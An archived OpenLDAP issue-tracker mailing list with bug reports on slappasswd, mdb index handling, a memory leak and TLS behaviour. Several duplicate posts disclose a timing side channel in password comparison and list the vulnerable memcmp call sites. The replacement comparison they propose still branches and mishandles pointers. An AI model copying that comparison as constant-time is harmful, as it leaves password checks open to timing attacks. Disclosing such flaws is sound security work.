sys<br> import hashlib<br> from base64 import urlsafe_b64encode as encode<br> from base64 import urlsafe_b64decode as decode<br> <br> def checkPassword(challenge_password, password):<br> challenge_bytes = decode(challenge_password[6:])<br> digest = challenge_bytes[:20]<br> salt = challenge_bytes[20:]<br> hr = hashlib.sha1(password)<br> hr.update(salt)<br> return digest == hr.digest()<br> <br> if __name__ == '__main__':<br> print(checkPassword(sys.argv[1], sys.argv[2]))<br> EOF<br> <br> python /checkPassword.py $(python /makeSecret.py d) d<br> <br> python /checkPassword.py $(slappasswd -s d) d<br> <br> mkdir -p /run/secrets/<br> echo d>/run/secrets/rootpw<br> python /checkPassword.py $(slappasswd -T /run/secrets/rootpw) d<br> echo Begin-$(cat /run/secrets/rootpw)-End<br> # => shows no newline:<br> #Begin-d-End<br> </p> </blockquote> <p>It will show you that all hash works except the part with slappasswd -T, and I checked the newline.<br> <br> </p> <blockquote type="cite" cite="mid:c5070626-b60e-28f5-38a3-7871c8a0cbec@symas.com"> <pre class="moz-quote-pre" wrap=""> </pre> <blockquote type="cite"> <pre class="moz-quote-pre" wrap=""> I saw the same issue in another openldap mail: <a class="moz-txt-link-freetext" href="https://www.openldap.org/lists/openldap-software/200805/msg00060.html">https://www.openldap.org/lists/openldap-software/200805/msg00060.html</a> but no answer. </pre> </blockquote> <pre class="moz-quote-pre" wrap=""> </pre> </blockquote> </body> </html> --------------0657C2ED691C0A313ADDDE9F--

1 0

(ITS#9138)
by scf＠ieee.org 12 Dec '19

12 Dec '19

Howards mentioned in another wrongly submitted issue (#9139) that "memcmp.c isn't even referenced in the Makefile, so none of this code is used." Here is the clarification, even if memcmp.c is not used, gcc or other compilers' implementations of memcmp is still unsafe (https://github.com/gcc-mirror/gcc/blob/master/libiberty/memcmp.c). -- Best regards, Shou C

1 0

Re: (ITS#9139) Side
by hyc＠symas.com 12 Dec '19

12 Dec '19

scf(a)ieee.org wrote: > Full_Name: Shou Chaofan > Version: > OS: > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (98.185.228.137) > > > Here is the implementation of lutil_memcmp at /libraries/liblutil/memcmp.c memcmp.c isn't even referenced in the Makefile, so none of this code is used. Closing this ITS. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

ITS#1941
by scf＠ieee.org 12 Dec '19

12 Dec '19

--000000000000a68521059981b791 Content-Type: text/plain; charset="UTF-8" Please close this issue. It is wrongly sent by browser. --000000000000a68521059981b791 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr"><div class=3D"gmail-gs" style=3D"margin:0px;padding:0px 0p= x 20px;width:760px;font-family:Roboto,RobotoDraft,Helvetica,Arial,sans-seri= f;font-size:medium"><div class=3D"gmail-"><div id=3D"gmail-:1i9" class=3D"g= mail-ii gmail-gt" style=3D"font-size:0.875rem;direction:ltr;margin:8px 0px = 0px;padding:0px"><div id=3D"gmail-:1gp" class=3D"gmail-a3s gmail-aXjCH" sty= le=3D"overflow:hidden;font-variant-numeric:normal;font-variant-east-asian:n= ormal;font-stretch:normal;font-size:small;line-height:1.5;font-family:Arial= ,Helvetica,sans-serif"><div dir=3D"ltr">Please close this issue. It is wron= gly sent by browser.</div><div class=3D"gmail-yj6qo"></div><div class=3D"gm= ail-adL"></div></div></div><div class=3D"gmail-hi" style=3D"border-bottom-l= eft-radius:1px;border-bottom-right-radius:1px;padding:0px;width:auto;backgr= ound:rgb(242,242,242);margin:0px"></div></div></div><br class=3D"gmail-Appl= e-interchange-newline"></div> --000000000000a68521059981b791--

1 0

ITS#9140
by scf＠ieee.org 12 Dec '19

12 Dec '19

--000000000000c18e69059981b6c8 Content-Type: text/plain; charset="UTF-8" Please close this issue. It is wrongly sent by browser. --000000000000c18e69059981b6c8 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <div dir=3D"ltr"><div class=3D"gmail-gs" style=3D"margin:0px;padding:0px 0p= x 20px;width:760px;font-family:Roboto,RobotoDraft,Helvetica,Arial,sans-seri= f;font-size:medium"><div class=3D"gmail-"><div id=3D"gmail-:1i9" class=3D"g= mail-ii gmail-gt" style=3D"font-size:0.875rem;direction:ltr;margin:8px 0px = 0px;padding:0px"><div id=3D"gmail-:1gp" class=3D"gmail-a3s gmail-aXjCH" sty= le=3D"overflow:hidden;font-variant-numeric:normal;font-variant-east-asian:n= ormal;font-stretch:normal;font-size:small;line-height:1.5;font-family:Arial= ,Helvetica,sans-serif"><div dir=3D"ltr">Please close this issue. It is wron= gly sent by browser.</div></div></div></div></div></div> --000000000000c18e69059981b6c8--

1 0

ITS#9139
by scf＠ieee.org 12 Dec '19

12 Dec '19

--000000000000affb38059981b483 Content-Type: text/plain; charset="UTF-8" Please close this issue. It is wrongly sent by browser. --000000000000affb38059981b483 Content-Type: text/html; charset="UTF-8" <div dir="ltr">Please close this issue. It is wrongly sent by browser.</div> --000000000000affb38059981b483--

1 0

(ITS#9141) Side channel vulnerability at password check
by scf＠ieee.org 12 Dec '19

12 Dec '19

Full_Name: Shou C Version: 2.4.48 OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (98.185.228.137) Here is the implementation of lutil_memcmp at /libraries/liblutil/memcmp.c int (lutil_memcmp)(const void *v1, const void *v2, size_t n) { if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++) return *--s1 - *--s2; // immediate return after difference } while (--n != 0); } return 0; } Later, it is redefined as memcpy. Then this function is used in the password checking function to compare user password and inputed password. This would lead to a timing attack / side channel attack. Here are all usages related to comparison of plaintext password /libraries/liblutil/passwd.c: 341 if( is_allowed_scheme("{CLEARTEXT}", schemes ) ) { return ( passwd->bv_len == cred->bv_len ) ? memcmp( passwd->bv_val, cred->bv_val, passwd->bv_len ) : 1; } Here are all usages related to comparison of hashed password (although this is less exploitable, by bruteforcing based on hash value, with enough time, attacker could still recover the password): /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:262 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:303 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:350 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:391 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:438 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:479 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /libraries/liblutil/passwd.c: 526 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 567 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 613 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 654 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 894 return memcmp( PasswordHash, storedPasswordHash, 32) ? LUTIL_PASSWD_ERR : LUTIL_PASSWD_OK; etc.. A safer implementation is: int (lutil_safe_memcmp)(const void *v1, const void *v2, size_t n) { int c=0; if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++ && c == 0) c += *--s1 - *--s2; } while (--n != 0); } return c; }

1 0

(ITS#9140) Side channel vulnerability at password check
by scf＠ieee.org 12 Dec '19

12 Dec '19

Full_Name: Shou Chaofan Version: OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (98.185.228.137) Here is the implementation of lutil_memcmp at /libraries/liblutil/memcmp.c int (lutil_memcmp)(const void *v1, const void *v2, size_t n) { if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++) return *--s1 - *--s2; // immediate return after difference } while (--n != 0); } return 0; } Later, it is redefined as memcpy. Then this function is used in the password checking function to compare user password and inputed password. This would lead to a timing attack / side channel attack. Here are all usages related to comparison of plaintext password /libraries/liblutil/passwd.c: 341 if( is_allowed_scheme("{CLEARTEXT}", schemes ) ) { return ( passwd->bv_len == cred->bv_len ) ? memcmp( passwd->bv_val, cred->bv_val, passwd->bv_len ) : 1; } Here are all usages related to comparison of hashed password (although this is less exploitable, by bruteforcing based on hash value, with enough time, attacker could still recover the password): /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:262 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:303 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:350 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:391 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:438 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:479 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /libraries/liblutil/passwd.c: 526 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 567 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 613 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 654 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 894 return memcmp( PasswordHash, storedPasswordHash, 32) ? LUTIL_PASSWD_ERR : LUTIL_PASSWD_OK; etc.. A safer implementation is: int (lutil_safe_memcmp)(const void *v1, const void *v2, size_t n) { int c=0; if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++ && c == 0) c += *--s1 - *--s2; } while (--n != 0); } return c; }

1 0

(ITS#9139) Side
by scf＠ieee.org 12 Dec '19

12 Dec '19

Full_Name: Shou Chaofan Version: OS: URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (98.185.228.137) Here is the implementation of lutil_memcmp at /libraries/liblutil/memcmp.c int (lutil_memcmp)(const void *v1, const void *v2, size_t n) { if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++) return *--s1 - *--s2; // immediate return after difference } while (--n != 0); } return 0; } Later, it is redefined as memcpy. Then this function is used in the password checking function to compare user password and inputed password. This would lead to a timing attack / side channel attack. Here are all usages related to comparison of plaintext password /libraries/liblutil/passwd.c: 341 if( is_allowed_scheme("{CLEARTEXT}", schemes ) ) { return ( passwd->bv_len == cred->bv_len ) ? memcmp( passwd->bv_val, cred->bv_val, passwd->bv_len ) : 1; } Here are all usages related to comparison of hashed password (although this is less exploitable, by bruteforcing based on hash value, with enough time, attacker could still recover the password): /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:262 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:303 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:350 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:391 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:438 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /contrib/slapd-modules/passwd/sha2/slapd-sha2.c:479 rc = memcmp((char *)orig_pass, (char *)SHAdigest, sizeof(SHAdigest)); /libraries/liblutil/passwd.c: 526 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 567 rc = memcmp((char *)orig_pass, (char *)SHA1digest, sizeof(SHA1digest)); /libraries/liblutil/passwd.c: 613 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 654 rc = memcmp((char *)orig_pass, (char *)MD5digest, sizeof(MD5digest)); /libraries/liblutil/passwd.c: 894 return memcmp( PasswordHash, storedPasswordHash, 32) ? LUTIL_PASSWD_ERR : LUTIL_PASSWD_OK; etc.. A safer implementation is: int (lutil_safe_memcmp)(const void *v1, const void *v2, size_t n) { int c=0; if (n != 0) { const unsigned char *s1=v1, *s2=v2; do { if (*s1++ != *s2++ && c == 0) c += *--s1 - *--s2; } while (--n != 0); } return c; }

1 0

Re: (ITS#9137) slappasswd generate wrong SSHA from file
by hyc＠symas.com 12 Dec '19

12 Dec '19

antoine.tran(a)thales-services.fr wrote: > Full_Name: Antoine TRAN > Version: openldap-servers-2.4.44-21.el7_6.x86_64 > OS: CentOS Linux release 7.7.1908 (Core) > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (213.190.88.94) > > > I use slappasswd to generate SSHA password. The issue is it behavior is > different whether I submit the password - in stdin or in command-line '-s' - and > from a secret file '-T'. Command: > slappasswd -h {SSHA} > => write 'd' twice as password > slappasswd -h {SSHA} -s d > > provides working SSHA. > > But: > echo d >/run/secrets/rootpw > slappasswd -h {SSHA} -T /run/secrets/rootpw > provides a valid SSHA, but that does not match the password. > > My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, > regenerating with: > systemctl stop slapd > sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf > slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d > systemctl start slapd > ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" > > The content of the secret file can be "d" or "d\n", it does not make a > difference. Also, if I change the schema from SSHA to just a fixed salt, the > '-T' seems to work as expected: > (a) slappasswd -c 123 > => write d twice > (b) slappasswd -c 123 -s 123 > (c) slappasswd -c 123 -T /run/secrets/rootpw > > (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and > use SSHA, slappasswd prevents me from that, with an error schema already > provided. Unable to reproduce, SSHA works fine here. Obviously you can't use a fixed salt with SSHA, that's the point of its salt is to be random and different every time. When using a password in a file you must ensure the trailing '\n' is omitted. This is already documented in the manpage. > > I saw the same issue in another openldap mail: > https://www.openldap.org/lists/openldap-software/200805/msg00060.html but no > answer. > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9137) slappasswd generate wrong SSHA from file
by antoine.tran＠thales-services.fr 12 Dec '19

12 Dec '19

Full_Name: Antoine TRAN Version: openldap-servers-2.4.44-21.el7_6.x86_64 OS: CentOS Linux release 7.7.1908 (Core) URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (213.190.88.94) I use slappasswd to generate SSHA password. The issue is it behavior is different whether I submit the password - in stdin or in command-line '-s' - and from a secret file '-T'. Command: slappasswd -h {SSHA} => write 'd' twice as password slappasswd -h {SSHA} -s d provides working SSHA. But: echo d >/run/secrets/rootpw slappasswd -h {SSHA} -T /run/secrets/rootpw provides a valid SSHA, but that does not match the password. My multiple test are done by replacing rootpw in /etc/openldap/slapd.conf, regenerating with: systemctl stop slapd sed -i -e "s,rootpw .*\$,rootpw ${ROOTPW_HASH},g" /etc/openldap/slapd.conf slapcat -n 0 -f /etc/openldap/slapd.conf -F /etc/openldap/slapd.d systemctl start slapd ldapsearch -D "${ROOTDN}" -w "${ROOTPW}" The content of the secret file can be "d" or "d\n", it does not make a difference. Also, if I change the schema from SSHA to just a fixed salt, the '-T' seems to work as expected: (a) slappasswd -c 123 => write d twice (b) slappasswd -c 123 -s 123 (c) slappasswd -c 123 -T /run/secrets/rootpw (a), (b) and (c) gives the exact same hash. But I cannot put a fixed salt and use SSHA, slappasswd prevents me from that, with an error schema already provided. I saw the same issue in another openldap mail: https://www.openldap.org/lists/openldap-software/200805/msg00060.html but no answer.

1 0

Re: (ITS#9098) assert fails in meta_back_search in some cases after reconnect
by maxime.besson＠worteks.com 11 Dec '19

11 Dec '19

> I suggest upgrading to 2.4.48 to pick up this fix: > > Fixed slapd-meta assertion when network interface goes down (ITS#8841) > While reviewing the changelog for 2.4.48 it had seemed to me that this fix was unrelated to the problem I had, because it was a different assert. However, after upgrading 2.4.48 as suggested, and waiting about a month for safety, the problem seems to have disappeared entirely, so it was the same issue after all. Sorry about that, I think you can close this issue. -- Maxime Besson Expert Infrastructure - Worteks maxime.besson(a)worteks.com

1 0

Re[2]: (ITS#9136) mdb index degradation failure
by grapvar＠gmail.com 11 Dec '19

11 Dec '19

Howard Chu, 10 Dec 2019 19:30 MSK: > > Can you show that slapindex -t doesn't remove these index records? I didn't know about. Yes, it removes the stale range records, thank you. And I have to backup database before, because of "quick mode", right? However, periodical reindexing for index actualization is still required, but maintenance costs are lower. Sorry for offtopic, but the messages from this mail list lose `References' and `In-Reply-To' smtp headers, is it intended? My MUA is unwilling to reconstruct mail threads, and the list archive web interface also teems with "<Possible follow-ups>". grapvar(a)gmail.com, 10 Dec 2019 17:27 MSK: > > Contrast to bdb, the "range" index records are immortal in the mdb: > > * they offer many-thousand list of search candidates (in terms of mdb_search()) for particular attribute value even if all instances of this value are removed from the dit. > * "range" records survive after slapindex > * they even survive after dropping/creating an index itself > > The only way to get rid of the "range" index records and actualize index is to create a new mdb and populate it from the ground up. This has maintainance costs.

1 0

Re: (ITS#9136) mdb index degradation failure
by hyc＠symas.com 10 Dec '19

10 Dec '19

grapvar(a)gmail.com wrote: > Contrast to bdb, the "range" index records are immortal in the mdb: > > * they offer many-thousand list of search candidates (in terms of mdb_search()) > for particular attribute value even if all instances of this value are removed > from the dit. > * "range" records survive after slapindex > * they even survive after dropping/creating an index itself Can you show that slapindex -t doesn't remove these index records? > > The only way to get rid of the "range" index records and actualize index is to > create a new mdb and populate it from the ground up. This has maintainance > costs. > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re[3]: (ITS#9127) memory leak in mdb_entry_decode()
by grapvar＠gmail.com 10 Dec '19

10 Dec '19

Howard Chu, 02 Dec 2019 18:20 MSK: > > Since this is allocated in thread-local memory, there is no actual leak. If so, why does the op->o_tmpfree() exist ? Konstantin Andreev. Konstantin Andreev, 02 Dec 2019 16:57 MSK: > > mdb_entry_decode() leaks allocated [Entry] on error. Here is a fix for the master branch: > > --- a/servers/slapd/back-mdb/id2entry.c > +++ b/servers/slapd/back-mdb/id2entry.c > @@ -1130,8 +1130,12 @@ done: > *e = x; > rc = 0; > > -leave: > +clr_mvc: > if (mvc) > mdb_cursor_close(mvc); > return rc; > +leave: > + /* can't mdb_entry_return() because [Entry *x] init is incomplete */ > + op->o_tmpfree( x, op->o_tmpmemctx ); > + goto clr_mvc; > } > > and for 2.4 branch, if you care: > ...

1 0

(ITS#9136) mdb index degradation failure
by grapvar＠gmail.com 10 Dec '19

10 Dec '19

Full_Name: Konstantin Andreev Version: 2.4.48, git/master/44a7b46/20191203 OS: Solaris 11.3 x64 URL: Submission from: (NULL) (79.135.238.172) When * the number of entries containing particular attr/val, e.g. `o=1', reaches MDB_IDL_DB_MAX+1 ( = 0x10000 = 65536 ), and * this attribute is equality-indexed the index record for this attr/val switches from the enumeration to the range format ( see back-mdb/idl.c`mdb_idl_insert_keys ). The only scenario to switch index record back to the enumeration is as described in the ITS#9135 and probability of this scenario is nearly negligible. So, the switch to the range format is irreversible and permanent. Moreover, this range only widens and, with time, tends to eventually extend to the end of the dit id space. So, the index record for this particular attibute value gradually becomes useless. What makes this issue even worth. Contrast to bdb, the "range" index records are immortal in the mdb: * they offer many-thousand list of search candidates (in terms of mdb_search()) for particular attribute value even if all instances of this value are removed from the dit. * "range" records survive after slapindex * they even survive after dropping/creating an index itself The only way to get rid of the "range" index records and actualize index is to create a new mdb and populate it from the ground up. This has maintainance costs.

1 0

(ITS#9135) mdb index corruption during legitimate delete
by grapvar＠gmail.com 10 Dec '19

10 Dec '19

Full_Name: Konstantin Andreev Version: 2.4.48, git/master/44a7b46/20191203 OS: Solaris 11.3 x64 URL: Submission from: (NULL) (79.135.238.172) Here is a test case. 1) choose an attribute that has an equality index in your dit; 2) for this attribute choose a value that does not (and did not) exist in the dit yet; Let assume you chose [o=1] attr/val pair. 3) add MDB_IDL_DB_MAX+1 ( = 0x10000 = 65536 ) entries having [o=1] attr/val pair. 4) delete last MDB_IDL_DB_MAX-1 of them in the order inverted as compared to the order of addition Now you have two entries having [o=1] attr/val pair. Let assume they are | $ ldapsearch -s sub -b 'ou=T' '(o=1)' o | dn: cn=1,ou=T | o: 1 | | dn: cn=2,ou=T | o: 1 5) delete one of the remaining entries, e.g. cn=2,ou=T Repeat the search: | $ ldapsearch -s sub -b 'ou=T' '(o=1)' o | $ Nope, the remaining entry has been lost from the index forever. But it is still in the dit: | $ ldapsearch -s one -b 'ou=T' '(objectclass=*)' o | dn: cn=1,ou=T | o: 1 | | dn: ou=A,ou=T | ... You need to slapindex to restore `o' index to a valid state, but you may not know you need to repair the index. The probability of this scenario is negligible, because indexed entries never form continuous block of ids of many-thousand length, but the code for this scenario exists and has a bug. Here is a fix for master branch: --- a/servers/slapd/back-mdb/idl.c +++ b/servers/slapd/back-mdb/idl.c @@ -644,12 +644,19 @@ mdb_idl_delete_keys( /* The range has collapsed... */ rc = mdb_cursor_del( cursor, MDB_NODUPDATA ); if ( rc != 0 ) { err = "c_del dup"; goto fail; } + data.mv_size = sizeof(ID); + data.mv_data = & lo2; + rc = mdb_cursor_put( cursor, &key, &data, 0 ); + if ( rc != 0 ) { + err = "c_put enum"; + goto fail; + } } else { /* position on lo */ rc = mdb_cursor_get( cursor, &key, &data, MDB_NEXT_DUP ); if ( id == lo ) data.mv_data = &lo2; else {

1 0

Re: (ITS#8980) Async mode and TLS Non-Blocking Issue
by quanah＠symas.com 06 Dec '19

06 Dec '19

--On Thursday, December 5, 2019 9:27 PM +0000 "Sun, Wei" <Wei.Sun(a)netapp.com> wrote: > It seems to be that on the 2.4.48 release, in file tls2.c, > LDAP_USE_NON_BLOCKING_TLS is tied to LDAP_DEVEL, however, on the main > branch, it is enabled by default? Because it is a 2.5 feature. Regards, Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

Re: (ITS#8980) Async mode and TLS Non-Blocking Issue
by Wei.Sun＠netapp.com 05 Dec '19

05 Dec '19

--_000_4B8DDDAECDE04C58897F00FACBF3BB46netappcom_ Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 SGksDQpJIGhhdmUgdHdvIHF1ZXN0aW9ucyBhYm91dCBlbmFibGluZyBMREFQX1VTRV9OT05fQkxP Q0tJTkdfVExTLg0KDQpJIGFtIGhpdHRpbmcgYSBwcm9ibGVtIHdoZW4gSSBydW4gYSB0ZXN0IHRo YXQgZG9lcyBhIGxkYXBzZWFyY2ggdG8gYSBzdG9wcGVkIHNsZGFwZCBzZXJ2ZXIgdG8gc2ltdWxh dGUgYSBjb21tdW5pY2F0aW9uIGVycm9yLCBhbmQgdGhlIGNvbW1hbmQgaHVuZyBiZWNhdXNlIExE QVBfVVNFX05PTl9CTE9DS0lOR19UTFMgaXMgbm90IGVuYWJsZWQuDQoNCkl0IHNlZW1zIHRvIGJl IHRoYXQgb24gdGhlIDIuNC40OCByZWxlYXNlLCBpbiBmaWxlIHRsczIuYywgTERBUF9VU0VfTk9O X0JMT0NLSU5HX1RMUyBpcyB0aWVkIHRvIExEQVBfREVWRUwsIGhvd2V2ZXIsIG9uIHRoZSBtYWlu IGJyYW5jaCwgaXQgaXMgZW5hYmxlZCBieSBkZWZhdWx0Pw0KDQovLyBSZWxlYXNlIDIuNC40OA0K I2lmZGVmIExEQVBfREVWRUwNCiNkZWZpbmUgTERBUF9VU0VfTk9OX0JMT0NLSU5HX1RMUw0KI2Vu ZGlmIC8qIExEQVBfREVWRUwgKi8NCg0KLy8gTWFzdGVyDQojaWZuZGVmIEhBVkVfTU9aTlNTDQoj ZGVmaW5lIExEQVBfVVNFX05PTl9CTE9DS0lOR19UTFMNCiNlbmRpZg0KDQpJcyB0aGlzIGJlY2F1 c2Ugd2UgYXJlIG1pc3NpbmcgdGhlIGNvbW1pdCDigJwxYTcxMmJmMSDigJMgRW5hYmxlIGZlYXR1 cmVzIHRoYXQgd2VyZSBoaWRkZW4gYmVoaW5kIExEQVBfREVWRUzigJ0/IFdhcyB0aGUgaW50ZW50 aW9uIHRvIGVuYWJsZSBMREFQX1VTRV9OT05fQkxPQ0tJTkdfVExTICBieSBkZWZhdWx0Pw0KDQpU aGUgc2Vjb25kIHF1ZXN0aW9uLCB3aGVuIEkgdHJpZWQgdG8gZW5hYmxlIExEQVBfVVNFX05PTl9C TE9DS0lOR19UTFMgdGhyb3VnaCBDRkxBR1MsIEkgYW0gaGl0dGluZyB0aGlzIG90aGVyIGlzc3Vl IG1lbnRpb25lZCBpbiB0aGUgSVRTIzg5ODAsIGluIHRoZSBzZWNvbmQgZml4Lg0KDQotICAgICAg IHJldHVybiBTU0xfY29ubmVjdCggcyApIC0gMTsNCisgICAgICAgaW50IHJjID0gU1NMX2Nvbm5l Y3QoIHMgKSAtIDE7DQorDQorI2lmZGVmIExEQVBfVVNFX05PTl9CTE9DS0lOR19UTFMNCisgICAg ICAgaW50IHNzbGVyciA9IFNTTF9nZXRfZXJyb3IocywgcmMrMSk7DQorICAgICAgIGludCBzb2Nr ZXJyID0gc29ja19lcnJubygpOw0KKw0KKyAgICAgICBpZiAoIHJjIDwgMCApIHsNCisgICAgICAg ICAgICAgIGlmICggc3NsZXJyID09IFNTTF9FUlJPUl9XQU5UX1JFQUQgfHwgc3NsZXJyID09IFNT TF9FUlJPUl9XQU5UX1dSSVRFICkgew0KKyAgICAgICAgICAgICAgICAgICAgICByYyA9IDA7DQor ICAgICAgICAgICAgICB9IGVsc2UgaWYgKCggc3NsZXJyID09IFNTTF9FUlJPUl9TWVNDQUxMICkg JiYNCisgICAgICAgICAgICAgICAgICAgICAgKCBzb2NrZXJyID09IEVBR0FJTiB8fCBzb2NrZXJy ID09IEVOT1RDT05OICkpIHsNCisgICAgICAgICAgICAgICAgICAgICAgcmMgPSAwOw0KKyAgICAg ICAgICAgICAgfQ0KKyAgICAgICB9DQorI2VuZGlmIC8qIExEQVBfVVNFX05PTl9CTE9DS0lOR19U TFMgKi8NCg0KV2hlbiBJIHN0b3BwZWQgdGhlIHNsZGFwZCwgSSBnb3QgU1NMX0VSUk9SX1dBTlRf UkVBRCwocmVzb3VyY2UgdGVtcG9yYXJpbHkgdW5hdmFpbGFibGUpIHdoaWNoIGlzIGV4cGVjdGVk LiBIb3dldmVyIEkgZXhwZWN0IHRoZSBjb25uZWN0aW9uIHRvIGZhaWwsIGFuZCByZXR1cm4gYmFj ayB0byB0aGUgY2FsbGVyLCBhbmQgc3RvcHBlZCBzZWFyY2guIEhvd2V2ZXIsIGR1ZSB0byBhYm92 ZSBjb2RlLCBJdCBpbnN0ZWFkIGdvdCBhIFJDPTAsIHdoaWNoIGlzIGEgc3VjY2Vzcy4gU28gdGhl IGNvZGUga2VwdCBnb2luZyBhbmQgc2VudCB0aGUgaW5pdGlhbCByZXF1ZXN0LiBUaGlzIGxlYWRz IHRvIGFib3V0IGEgMiBtaW51dGVzIGRlbGF5IGluIHJldHVybmluZyBiYWNrIHRvIHRoZSBjYWxs ZXIsIHRoYXQgY2F1c2VzIG15IGFwcGxpY2F0aW9uIHRvIGZhaWwuICBJIGFtIG5vdCBhbiBleHBl cnQgb24gb3BlbmxkYXAsIGJ1dCBzaG91bGQgYWJvdmUgY29kZSBiZSBjaGFuZ2VkIHRvIHJldHVy biBzb21lIGVycm9yIGluc3RlYWQgb2Ygc3VjY2Vzcz8NCg0KSSBkb27igJl0IGhhdmUgdGhlIHBy b2JsZW0gaW4gdGhlIG1hc3RlciBicmFuY2gsIHNpbmNlIHRoaXMgcGFydCBvZiB0aGUgY29kZSBp cyBub3QgZW5hYmxlZCBpbiB0bHNfby5jLg0KDQpUaGFua3MgZm9yIHlvdXIgYXR0ZW50aW9uIQ0K DQpXZWkNCg0K --_000_4B8DDDAECDE04C58897F00FACBF3BB46netappcom_ Content-Type: text/html; charset="utf-8" Content-ID: <B36A38E291A95144874A650A7555D2AA(a)namprd06.prod.outlook.com> Content-Transfer-Encoding: base64 PGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4 bWxuczp3PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTp3b3JkIiB4bWxuczptPSJo dHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL29mZmljZS8yMDA0LzEyL29tbWwiIHhtbG5zPSJo dHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVp 